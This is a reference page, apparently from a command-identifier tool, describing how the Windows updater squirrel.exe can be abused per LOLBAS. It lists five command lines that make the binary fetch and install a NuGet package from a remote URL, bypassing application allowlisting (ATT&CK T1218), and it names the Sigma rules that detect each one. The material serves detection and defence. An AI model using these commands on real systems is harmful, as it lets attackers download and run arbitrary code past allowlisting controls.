Ceplin Command Identifier

Identifier / Programs / Windows

squirrel.exe

LOLBAS Download, AWL Bypass, Execute 2 Sigma rules name it 1 ATT&CK technique 5 documented commands

How squirrel.exe is abused

documented by LOLBAS

Download T1218 System Binary Proxy Execution

--download

AWL Bypass T1218 System Binary Proxy Execution

--update

Execute T1218 System Binary Proxy Execution

--update

AWL Bypass T1218 System Binary Proxy Execution

--updaterollback

Execute T1218 System Binary Proxy Execution

--updaterollback

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for squirrel.exe.

5 documented commands

from LOLBAS, each read by the identifier

Download T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file and download the nuget package.

squirrel.exe --download {REMOTEURL}

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

AWL Bypass T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --update {REMOTEURL}

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

Execute T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --update {REMOTEURL}

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

AWL Bypass T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --updateRollback={REMOTEURL}

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

Execute T1218 System Binary Proxy Execution User privileges

The above binary will go to url and look for RELEASES file, download and install the nuget package.

squirrel.exe --updateRollback={REMOTEURL}

Trips 1 Sigma rule: mediumArbitrary File Download Via Squirrel.EXE by Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

All 5 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for squirrel.exe, by Reegun J (OCBC Bank) - @reegun21, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for squirrel.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumArbitrary File Download Via Squirrel.EXENasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

mediumProcess Proxy Execution Via Squirrel.EXENasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community

T1218System Binary Proxy Execution